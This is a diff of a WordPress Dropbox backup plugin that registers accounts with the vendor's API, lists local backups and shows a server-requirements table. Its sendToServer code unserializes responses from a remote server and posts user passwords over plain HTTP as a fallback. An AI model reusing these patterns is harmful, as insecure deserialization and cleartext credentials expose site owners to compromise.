if ($counter_id = get_option(_PREFIX_STAT . 'counter_id')) {
|
423 |
+
$postdata['counter_id'] = $counter_id;
|
424 |
+
}
|
425 |
+
}
|
426 |
+
$postdata = http_build_query($postdata, '', '&');
|
427 |
+
|
428 |
+
$length = strlen($postdata);
|
429 |
+
|
430 |
+
|
431 |
+
if (function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")) {
|
432 |
+
if ($stat) {
|
433 |
+
$url = SERVER_URL_VISIT_STAT . "/Api.php";
|
434 |
+
} else {
|
435 |
+
$url = WPADM_URL_BASE . "api/";
|
436 |
+
}
|
437 |
+
$curl = curl_init($url);
|
438 |
+
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
|
439 |
+
curl_setopt($curl, CURLOPT_POST, true);
|
440 |
+
curl_setopt($curl, CURLOPT_POSTFIELDS, $postdata);
|
441 |
+
self::$result = curl_exec($curl);
|
442 |
+
curl_close($curl);
|
443 |
+
if ($stat) {
|
444 |
+
return unserialize(self::$result);
|
445 |
+
} else {
|
446 |
+
return json_decode(self::$result, true);
|
447 |
+
}
|
448 |
+
} elseif (function_exists("fsockopen")) {
|
449 |
+
if ($stat) {
|
450 |
+
$url = SERVER_URL_STAT;
|
451 |
+
$req = '/Api.php';
|
452 |
+
} else {
|
453 |
+
$url = substr(WPADM_URL_BASE, 7);
|
454 |
+
$req = '/api/';
|
455 |
+
}
|
456 |
+
$out = "POST " . $req . " HTTP/1.1\r\n";
|
457 |
+
$out.= "HOST: " . $url . "\r\n";
|
458 |
+
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
|
459 |
+
$out.= "Content-Length: ".$length."\r\n";
|
460 |
+
$out.= "Connection:Close\r\n\r\n";
|
461 |
+
$out.= $postdata."\r\n\r\n";
|
462 |
+
try {
|
463 |
+
$errno='';
|
464 |
+
$errstr = '';
|
465 |
+
$socket = @fsockopen($url, 80, $errno, $errstr, 30);
|
466 |
+
if($socket) {
|
467 |
+
if(!fwrite($socket, $out)) {
|
468 |
+
throw new Exception("unable to write fsockopen");
|
469 |
+
} else {
|
470 |
+
while ($in = @fgets ($socket, 1024)) {
|
471 |
+
self::$result .= $in;
|
472 |
+
}
|
473 |
+
}
|
474 |
+
self::$result = explode("\r\n\r\n", self::$result);
|
475 |
+
if ($stat) {
|
476 |
+
return unserialize(self::$result);
|
477 |
+
} else {
|
478 |
+
return json_decode(self::$result, true);
|
479 |
+
}
|
480 |
+
throw new Exception("error in data");
|
481 |
+
} else {
|
482 |
+
throw new Exception("unable to create socket");
|
483 |
+
}
|
484 |
+
fclose($socket);
|
485 |
+
} catch(exception $e) {
|
486 |
+
return false;
|
487 |
+
}
|
488 |
+
}
|
489 |
+
}
|
490 |
+
}
|
491 |
+
|
492 |
+
public static function activatePlugin()
|
493 |
+
{
|
494 |
+
if (isset($_POST['email']) && isset($_POST['password']) && isset($_POST['password-confirm'])) {
|
495 |
+
$email = trim(stripslashes(strip_tags($_POST['email'])));
|
496 |
+
$password = trim(strip_tags($_POST['password']));
|
497 |
+
$password_confirm = trim(strip_tags($_POST['password-confirm']));
|
498 |
+
$sent = true;
|
499 |
+
if (empty($email)) {
|
500 |
+
self::setError("Error, Email is empty.");
|
501 |
+
$sent = false;
|
502 |
+
}
|
503 |
+
if (!preg_match("/^([a-z0-9_\-]+\.)*[a-z0-9_\-]+@([a-z0-9][a-z0-9\-]*[a-z0-9]\.)+[a-z]{2,4}$/i", $email)) {
|
504 |
+
self::setError("Error, Incorrect Email");
|
505 |
+
$sent = false;
|
506 |
+
}
|
507 |
+
if (empty($password)) {
|
508 |
+
self::setError("Error, Password is empty.");
|
509 |
+
$sent = false;
|
510 |
+
}
|
511 |
+
if (strlen($password) < self::MIN_PASSWORD) {
|
512 |
+
self::setError("Error, the minimum number of characters for the password \"" . self::MIN_PASSWORD . "\".");
|
513 |
+
$sent = false;
|
514 |
+
}
|
515 |
+
|
516 |
+
if ($password != $password_confirm) {
|
517 |
+
self::setError("Error, passwords do not match");
|
518 |
+
$sent = false;
|
519 |
+
}
|
520 |
+
if ($sent) {
|
521 |
+
$info = self::$plugin_name;
|
522 |
+
$mail = get_option(PREFIX_BACKUP_ . "email");
|
523 |
+
if ($mail) {
|
524 |
+
add_option(PREFIX_BACKUP_ . "email", $email);
|
525 |
+
} else {
|
526 |
+
update_option(PREFIX_BACKUP_ . "email",$email);
|
527 |
+
}
|
528 |
+
$data = self::sendToServer(
|
529 |
+
array(
|
530 |
+
'actApi' => "activate",
|
531 |
+
'email' => $email,
|
532 |
+
'password' => $password,
|
533 |
+
'url' => get_option("siteurl"),
|
534 |
+
'plugin' => $info,
|
535 |
+
)
|
536 |
+
);
|
537 |
+
$res = self::setResponse($data);
|
538 |
+
}
|
539 |
+
}
|
540 |
+
if (isset($res['url']) && !empty($res['url'])) {
|
541 |
+
header("Location: " . $res['url']);
|
542 |
+
} else {
|
543 |
+
header("Location: " . admin_url("admin.php?page=wpadm_plugins"));
|
544 |
+
}
|
545 |
+
}
|
546 |
+
|
547 |
+
public static function include_admins_script()
|
548 |
+
{
|
549 |
+
wp_enqueue_style('css-admin-wpadm-db', plugins_url( "/template/css/admin-style-wpadm.css", dirname(__FILE__) ) );
|
550 |
+
|
551 |
+
wp_enqueue_script( 'js-admin-wpadm-db', plugins_url( "/template/js/admin-wpadm.js", dirname(__FILE__) ) );
|
552 |
+
wp_enqueue_script( 'postbox' );
|
553 |
+
|
554 |
+
}
|
555 |
+
protected static function read_backups($dirs_read = false)
|
556 |
+
{
|
557 |
+
$name = get_option('siteurl');
|
558 |
+
|
559 |
+
$name = str_replace("http://", '', $name);
|
560 |
+
$name = str_replace("https://", '', $name);
|
561 |
+
$name = preg_replace("|\W|", "_", $name);
|
562 |
+
$name .= '-' . self::$type . '-' . date("Y_m_d_H_i");
|
563 |
+
|
564 |
+
$dir_backup = DROPBOX_BACKUP_DIR_BACKUP ;
|
565 |
+
|
566 |
+
$backups = array('data' => array(), 'md5' => '');
|
567 |
+
|
568 |
+
$backups['data'] = self::getBackups($dir_backup, $dirs_read);
|
569 |
+
|
570 |
+
$backups['data'] = array_merge($backups['data'], self::getBackups(ABSPATH . WPADM_DIR_NAME, $dirs_read) );
|
571 |
+
$backups['data'] = array_merge($backups['data'], self::getBackups(WPADM_DIR_BACKUP, $dirs_read) );
|
572 |
+
|
573 |
+
$backups['md5'] = md5( print_r($backups['data'] , 1) );
|
574 |
+
return $backups;
|
575 |
+
}
|
576 |
+
|
577 |
+
protected static function getBackups($dir_backup, $dirs_read)
|
578 |
+
{
|
579 |
+
$backups = array();
|
580 |
+
if (is_dir($dir_backup)) {
|
581 |
+
$i = 0;
|
582 |
+
$dir_open = opendir($dir_backup);
|
583 |
+
while($d = readdir($dir_open)) {
|
584 |
+
if ($d != '.' && $d != '..' && is_dir($dir_backup . "/$d") && strpos($d, self::$type) !== false) {
|
585 |
+
$backups[$i]['dt'] = self::getDateInName($d);
|
586 |
+
$backups[$i]['name'] = "$d";
|
587 |
+
if ($dirs_read === false) {
|
588 |
+
$size = 0;
|
589 |
+
$dir_b = opendir($dir_backup . "/$d");
|
590 |
+
$count_zip = 0;
|
591 |
+
$backups[$i]['files'] = "[";
|
592 |
+
while($d_b = readdir($dir_b)) {
|
593 |
+
if ($d_b != '.' && $d_b != '..' && file_exists($dir_backup . "/$d/$d_b") && substr($d_b, -3) != "php") {
|
594 |
+
$backups[$i]['files'] .= "$d_b,";
|
595 |
+
$size += filesize($dir_backup . "/$d/$d_b");
|
596 |
+
$count_zip = $count_zip + 1;
|
597 |
+
}
|
598 |
+
}
|
599 |
+
$backups[$i]['files'] .= ']';
|
600 |
+
$backups[$i]['size'] = $size;
|
601 |
+
$backups[$i]['type'] = 'local';
|
602 |
+
$backups[$i]['count'] = $count_zip;
|
603 |
+
}
|
604 |
+
$i += 1;
|
605 |
+
}
|
606 |
+
}
|
607 |
+
}
|
608 |
+
return $backups;
|
609 |
+
}
|
610 |
+
public static function check_plugin($name = "", $version = false)
|
611 |
+
{
|
612 |
+
if (!empty($name)) {
|
613 |
+
if ( ! function_exists( 'get_plugins' ) ) {
|
614 |
+
require_once ABSPATH . 'wp-admin/includes/plugin.php';
|
615 |
+
}
|
616 |
+
$name2 = str_replace("-", "_", $name);
|
617 |
+
$plugin = get_plugins("/$name");
|
618 |
+
if (empty($plugin)) {
|
619 |
+
$plugin = get_plugins("/$name2");
|
620 |
+
}
|
621 |
+
if (count($plugin) > 0) {
|
622 |
+
if (isset(self::$plugins[$name]) && (isset($plugin["$name.php"]) || isset($plugin["$name2.php"]))) {
|
623 |
+
if ($version) {
|
624 |
+
if (self::$plugins[$name] == $plugin["$name.php"]['Version']) {
|
625 |
+
return true;
|
626 |
+
}
|
627 |
+
if (self::$plugins[$name] == $plugin["$name2.php"]['Version']) {
|
628 |
+
return true;
|
629 |
+
}
|
630 |
+
} else {
|
631 |
+
if (is_plugin_active("$name/$name.php") || is_plugin_active("$name/$name2.php") || is_plugin_active("$name2/$name2.php")) {
|
632 |
+
return true;
|
633 |
+
}
|
634 |
+
}
|
635 |
+
}
|
636 |
+
}
|
637 |
+
return false;
|
638 |
+
}
|
639 |
+
}
|
640 |
+
}
|
641 |
+
}
|
642 |
+
|
643 |
+
if (! function_exists('wpadm_plugins')) {
|
644 |
+
function wpadm_plugins()
|
645 |
+
{
|
646 |
+
global $wp_version;
|
647 |
+
|
648 |
+
$c = get_system_data();
|
649 |
+
$phpVersion = $c['php_verion'];
|
650 |
+
$maxExecutionTime = $c['maxExecutionTime'];
|
651 |
+
$maxMemoryLimit = $c['maxMemoryLimit'];
|
652 |
+
$extensions = $c['extensions'];
|
653 |
+
$disabledFunctions = $c['disabledFunctions'];
|
654 |
+
//try set new max time
|
655 |
+
|
656 |
+
$newMaxExecutionTime = $c['newMaxExecutionTime'];
|
657 |
+
$upMaxExecutionTime = $c['upMaxExecutionTime'];
|
658 |
+
$maxExecutionTime = $c['maxExecutionTime'];
|
659 |
+
|
660 |
+
//try set new memory limit
|
661 |
+
$upMemoryLimit = $c['upMemoryLimit'];
|
662 |
+
$newMemoryLimit = $c['newMemoryLimit'];
|
663 |
+
$maxMemoryLimit = $c['maxMemoryLimit'];
|
664 |
+
|
665 |
+
//try get mysql version
|
666 |
+
$mysqlVersion = $c['mysqlVersion'];
|
667 |
+
|
668 |
+
$show = !get_option('wpadm_pub_key') || (!is_super_admin() || !is_admin()) || !@get_option(_PREFIX_STAT . 'counter_id');
|
669 |
+
?>
|
670 |
+
|
671 |
+
|
672 |
+
<?php if (!$show) {?>
|
673 |
+
<div class="cfTabsContainer">
|
674 |
+
<div id="cf_signin" class="cfContentContainer" style="display: block;">
|
675 |
+
<form method="post" action="<?php echo WPADM_URL_BASE . "user/login" ; ?>" autocomplete="off" target="_blank">
|
676 |
+
<div class="inline" style="width: 52%; margin-top: 0; color: #fff;">
|
677 |
+
WPAdm Sign-In:
|
678 |
+
<input class="input-small" type="email" required="required" name="username" placeholder="Email">
|
679 |
+
<input class="input-small" type="password" required="required" name="password" placeholder="Password">
|
680 |
+
<input class="button-wpadm" type="submit" value="Sign-In" name="submit" style="margin-top:1px;">
|
681 |
+
</div>
|
682 |
+
<div class="wpadm-info-auth" style="width: 45%;">
|
683 |
+
Enter your email and password from an account at <a href="http://www.wpadm.com" target="_blank" style="color: #fff;" >www.wpadm.com</a>.<br /> After submitting user credentials you will be redirected to your Admin area on <a href="http://www.wpadm.com" style="color: #fff;" target="_blank">www.wpadm.com</a>.
|
684 |
+
</div>
|
685 |
+
</form>
|
686 |
+
</div>
|
687 |
+
</div>
|
688 |
+
<?php } else {?>
|
689 |
+
<div class="cfTabsContainer" style="display: none;">
|
690 |
+
<div id="cf_activate" class="cfContentContainer">
|
691 |
+
<form method="post" action="<?php echo admin_url( 'admin-post.php?action=wpadm_activate_plugin' )?>" >
|
692 |
+
<div class="wpadm-info-title">
|
693 |
+
Free Sign Up to use more functionality...
|
694 |
+
</div>
|
695 |
+
<div class="wpadm-registr-info">
|
696 |
+
<table class="form-table">
|
697 |
+
<tbody>
|
698 |
+
<tr valign="top">
|
699 |
+
<th scope="row">
|
700 |
+
<label for="email">E-mail</label>
|
701 |
+
</th>
|
702 |
+
<td>
|
703 |
+
<input id="email" class="regular-text" type="text" name="email" value="">
|
704 |
+
</td>
|
705 |
+
</tr>
|
706 |
+
<tr valign="top">
|
707 |
+
<th scope="row">
|
708 |
+
<label for="password">Password</label>
|
709 |
+
</th>
|
710 |
+
<td>
|
711 |
+
<input id="password" class="regular-text" type="password" name="password" value="">
|
712 |
+
</td>
|
713 |
+
</tr>
|
714 |
+
<tr valign="top">
|
715 |
+
<th scope="row">
|
716 |
+
<label for="password-confirm">Password confirm</label>
|
717 |
+
</th>
|
718 |
+
<td>
|
719 |
+
<input id="password-confirm" class="regular-text" type="password" name="password-confirm" value="">
|
720 |
+
</td>
|
721 |
+
</tr>
|
722 |
+
<tr valign="top">
|
723 |
+
<th scope="row">
|
724 |
+
</th>
|
725 |
+
<td>
|
726 |
+
<input class="button-wpadm" type="submit" value="Register & Activate" name="submit">
|
727 |
+
</td>
|
728 |
+
</tr>
|
729 |
+
</tbody>
|
730 |
+
</table>
|
731 |
+
</div>
|
732 |
+
<div class="wpadm-info">
|
733 |
+
<span style="font-weight:bold; font-size: 14px;">If you are NOT registered at WPAdm,</span> enter your email and password to use as your Account Data for authorization on WPAdm. <br /><span style="font-weight: bold;font-size: 14px;">If you already have an account at WPAdm</span> and you want to Sign-In, so please, enter your registered credential data (email and password twice).
|
734 |
+
</div>
|
735 |
+
</form>
|
736 |
+
</div>
|
737 |
+
</div>
|
738 |
+
<?php } ?>
|
739 |
+
|
740 |
+
<script>
|
741 |
+
jQuery(document).ready(function() {
|
742 |
+
jQuery('.plugins-icon').click(function() {
|
743 |
+
title = jQuery(this).parent('.plugins-title');
|
744 |
+
box = title.parent('.plugins-box');
|
745 |
+
content = box.find('.plugins-info-content');
|
746 |
+
display = content.css('display');
|
747 |
+
if (display == 'none') {
|
748 |
+
content.show('slow');
|
749 |
+
} else {
|
750 |
+
content.hide('slow');
|
751 |
+
}
|
752 |
+
})
|
753 |
+
})
|
754 |
+
function showRegistartion(show)
|
755 |
+
{
|
756 |
+
if (show) {
|
757 |
+
jQuery('.cfTabsContainer').show('slow');
|
758 |
+
} else {
|
759 |
+
jQuery('.cfTabsContainer').hide('slow');
|
760 |
+
}
|
761 |
+
}
|
762 |
+
</script>
|
763 |
+
|
764 |
+
<div class="clear" style="margin-bottom: 50px;"></div>
|
765 |
+
<table class="wp-list-table widefat fixed" >
|
766 |
+
<thead>
|
767 |
+
<tr>
|
768 |
+
<th></th>
|
769 |
+
<th>Recommended value</th>
|
770 |
+
<th>Your value</th>
|
771 |
+
<th>Status</th>
|
772 |
+
</tr>
|
773 |
+
</thead>
|
774 |
+
<tbody>
|
775 |
+
<tr>
|
776 |
+
<th scope="row">PHP Version</th>
|
777 |
+
<td><?php echo PHP_VERSION_DEFAULT ?> or greater</td>
|
778 |
+
<td><?php echo check_version($phpVersion , PHP_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $phpVersion .'</span>' : $phpVersion ?></td>
|
779 |
+
<td><?php echo (check_version($phpVersion , PHP_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your PHP version to get it working correctly</span>') ?></td>
|
780 |
+
</tr>
|
781 |
+
<tr>
|
782 |
+
<th scope="row">MySQL Version</th>
|
783 |
+
<td><?php echo MYSQL_VERSION_DEFAULT ?> or greater</td>
|
784 |
+
<td><?php echo check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) === false ? '<span style="color:#fb8004;font-weight:bold;">' . $mysqlVersion .'</span>' : $mysqlVersion; ?></td>
|
785 |
+
<td><?php echo (check_version($mysqlVersion , MYSQL_VERSION_DEFAULT) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Please update your MySQL version to get it working correctly</span>') ?></td>
|
786 |
+
</tr>
|
787 |
+
<tr>
|
788 |
+
<th scope="row">Max Execution Time</th>
|
789 |
+
<td><?php echo $newMaxExecutionTime ?></td>
|
790 |
+
<td><?php echo ($upMaxExecutionTime == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxExecutionTime .'</span>' : $maxExecutionTime; ?></td>
|
791 |
+
<td><?php echo ($upMaxExecutionTime == 1) ? '<span style="color:green; font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
|
792 |
+
</tr>
|
793 |
+
<tr>
|
794 |
+
<th scope="row">Max Memory Limit</th>
|
795 |
+
<td><?php echo $newMemoryLimit . 'M' ?></td>
|
796 |
+
<td><?php echo ($upMemoryLimit == 0) ? '<span style="color:#fb8004;font-weight:bold;">' . $maxMemoryLimit .'</span>' : $maxMemoryLimit ?></td>
|
797 |
+
<td><?php echo ($upMemoryLimit == 1) ? '<span style="color:green;font-weight:bold;">OK</span>' : '<span style="color:#fb8004;font-weight:bold;">Correct operation of the plugin can not be guaranteed.</span>'; ?></td>
|
798 |
+
</tr>
|
799 |
+
<tr>
|
800 |
+
<th scope="row">PHP Extensions</th>
|
801 |
+
<?php $ex = $c['ex']; ?>
|
802 |
+
<td><?php echo ( $ex ) === false ? 'All present' : '<span style="color:#ffba00;font-weight:bold;">' . implode(", ", $ex) . '</span>'; ?></td>
|
803 |
+
<td><?php echo ( $ex ) === false ? 'Found' : '<span style="color:#ffba00;font-weight:bold;">Not Found</span>'; ?></td>
|
804 |
+
<td><?php echo ( $ex ) === false ? '<span style="color:green;font-weight:bold;">Ok</span>' : '<span style="color:#fb8004;font-weight:bold;">Functionality is not guaranteed.</span>'; ?></td>
|
805 |
+
</tr>
|
806 |
+
<tr>
|
807 |
+
<th scope="row">Disabled Functions</th>
|
808 |
+
<td colspan="3" align="left"><?php echo ( $func = $c['func']) === false ? '<span style="color:green;font-weight:bold;">All necessary functions are enabled</span>' : '<span style="color:#fb8004;font-weight:bold;">Please enable these functions to get plugin working correctly: ' . implode(", ", $func) . '</span>'; ?></td>
|
809 |
+
</tr>
|
810 |
+
<tr>
|
811 |
+
<th scope="row">Plugin Access</th>
|
812 |
+
<td colspan="3" align="left"><?php echo ( ( is_admin() && is_super_admin() ) ? "<span style=\"color:green; font-weight:bold;\">Granted</span>" : "<span style=\"color:red; font-weight:bold;\">To administrate this Plugin(s) is an 'Admin' right required.</span>")?></td>
|
813 |
+
</tr>
|
814 |
+
</tbody>
|
815 |
+
</table>
|
816 |
+
<?php
|
817 |
+
}
|
818 |
+
}
|
819 |
+
|
820 |
+
if (! function_exists('check_function')) {
|
821 |
+
function check_function($func, $search, $type = false)
|
822 |
+
{
|
823 |
+
if (is_string($func)) {
|
824 |
+
$func = explode(", ", $func);
|
825 |
+
}
|
826 |
+
if (is_string($search)) {
|
827 |
+
$search = explode(", ", $search);
|
828 |
+
}
|
829 |
+
$res = false;
|
830 |
+
$n = count($search);
|
831 |
+
for($i = 0; $i < $n; $i++) {
|
832 |
+
if (in_array($search[$i], $func) === $type) {
|
833 |
+
$res[] = $search[$i];
|
834 |
+
}
|
835 |
+
}
|
836 |
+
return $res;
|
837 |
+
}
|
838 |
+
}
|
839 |
+
|
840 |
+
if (! function_exists('check_version')) {
|
841 |
+
function check_version($ver, $ver2)
|
842 |
+
{
|
843 |
+
return version_compare($ver, $ver2, ">");
|
844 |
+
}
|
845 |
+
}
|
846 |
+
if (!function_exists('ltrimslashes')) {
|
847 |
+
function ltrimslashes($var)
|
848 |
+
{
|
849 |
+
return ltrim($var, '/');
|
850 |
+
}
|
851 |
+
}
|
852 |
+
if (!function_exists("get_system_data")) {
|
853 |
+
function get_system_data()
|
854 |
+
{
|
855 |
+
|
856 |
+
global $wp_version;
|
857 |
+
|
858 |
+
$phpVersion = phpversion();
|
859 |
+
$maxExecutionTime = ini_get('max_execution_time');
|
860 |
+
$maxMemoryLimit = ini_get('memory_limit');
|
861 |
+
$extensions = implode(', ', get_loaded_extensions());
|
862 |
+
$disabledFunctions = ini_get('disable_functions');
|
863 |
+
$mysqlVersion = '';
|
864 |
+
if (! class_exists('wpdb')) {
|
865 |
+
require_once ABSPATH . '/' . WPINC . '/wp-db.php';
|
866 |
+
}
|
867 |
+
$mysqli = new wpdb( DB_USER, DB_PASSWORD, DB_NAME, DB_HOST );
|
868 |
+
$errors = $mysqli->last_error;
|
869 |
+
if (empty($errors)) {
|
870 |
+
$mysqlVersion = $mysqli->db_version();
|
871 |
+
}
|
872 |
+
$upMaxExecutionTime = 0;
|
873 |
+
$newMaxExecutionTime = intval($maxExecutionTime) + 60;
|
874 |
+
@set_time_limit( $newMaxExecutionTime );
|
875 |
+
if( ini_get('max_execution_time') == $newMaxExecutionTime ){
|
876 |
+
$upMaxExecutionTime = 1;
|
877 |
+
$maxExecutionTime = ini_get('max_execution_time');
|
878 |
+
}
|
879 |
+
$upMemoryLimit = 0;
|
880 |
+
$newMemoryLimit = intval($maxMemoryLimit) + 60;
|
881 |
+
ini_set('memory_limit', $newMemoryLimit.'M');
|
882 |
+
if( ini_get('memory_limit') == $newMemoryLimit ){
|
883 |
+
$upMemoryLimit = 1;
|
884 |
+
$maxMemoryLimit = ini_get('memory_limit');
|
885 |
+
}
|
886 |
+
$extensions_search = array('curl', 'json', 'mysqli', 'sockets', 'zip', 'ftp');
|
887 |
+
$disabledFunctions_search = array('set_time_limit', 'curl_init', 'fsockopen', 'ftp_connect');
|
888 |
+
|
889 |
+
$ex = check_function($extensions, $extensions_search);
|
890 |
+
$func = check_function($disabledFunctions, $disabledFunctions_search, true);
|
891 |
+
|
892 |
+
return array('wp_version' => $wp_version, 'php_verion' => phpversion(),
|
893 |
+
'maxExecutionTime' => $maxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
|
894 |
+
'extensions' => $extensions, 'disabledFunctions' => $disabledFunctions,
|
895 |
+
'mysqlVersion' => $mysqlVersion, 'upMaxExecutionTime' => $upMaxExecutionTime,
|
896 |
+
'newMaxExecutionTime' => $newMaxExecutionTime, 'upMemoryLimit' => $upMemoryLimit,
|
897 |
+
'newMemoryLimit' => $newMaxExecutionTime, 'maxMemoryLimit' => $maxMemoryLimit,
|
898 |
+
'ex' => $ex, 'func' => $func, 'wp_lang' => get_option('WPLANG'),
|
899 |
+
);
|
900 |
+
|
901 |
+
}
|
902 |
+
}
|
903 |
+
|
904 |
+
?>
|
main/index.php
ADDED
@@ -0,0 +1 @@
|
|
|
1 |
+
<?php
|
main/wpadm-class-wp.php
ADDED
@@ -0,0 +1,749 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
if(@session_id() == '') {
|
3 |
+
@session_start();
|
4 |
+
}
|
5 |
+
|
6 |
+
require_once DRBBACKUP_BASE_DIR . "/libs/error.class.php";
|
7 |
+
require_once DRBBACKUP_BASE_DIR . "/libs/wpadm.server.main.class.php";
|
8 |
+
if (! class_exists("wpadm_wp_full_backup_dropbox") ) {
|
9 |
+
|
10 |
+
add_action('wp_ajax_wpadm_local_restore', array('wpadm_wp_full_backup_dropbox', 'restore_backup') );
|
11 |
+
add_action('wp_ajax_wpadm_restore_dropbox', array('wpadm_wp_full_backup_dropbox', 'wpadm_restore_dropbox') );
|
12 |
+
add_action('wp_ajax_wpadm_logs', array('wpadm_wp_full_backup_dropbox', 'getLog') );
|
13 |
+
add_action('wp_ajax_wpadm_local_backup', array('wpadm_wp_full_backup_dropbox', 'local_backup') );
|
14 |
+
add_action('wp_ajax_wpadm_dropbox_create', array('wpadm_wp_full_backup_dropbox', 'dropbox_backup_create') );
|
15 |
+
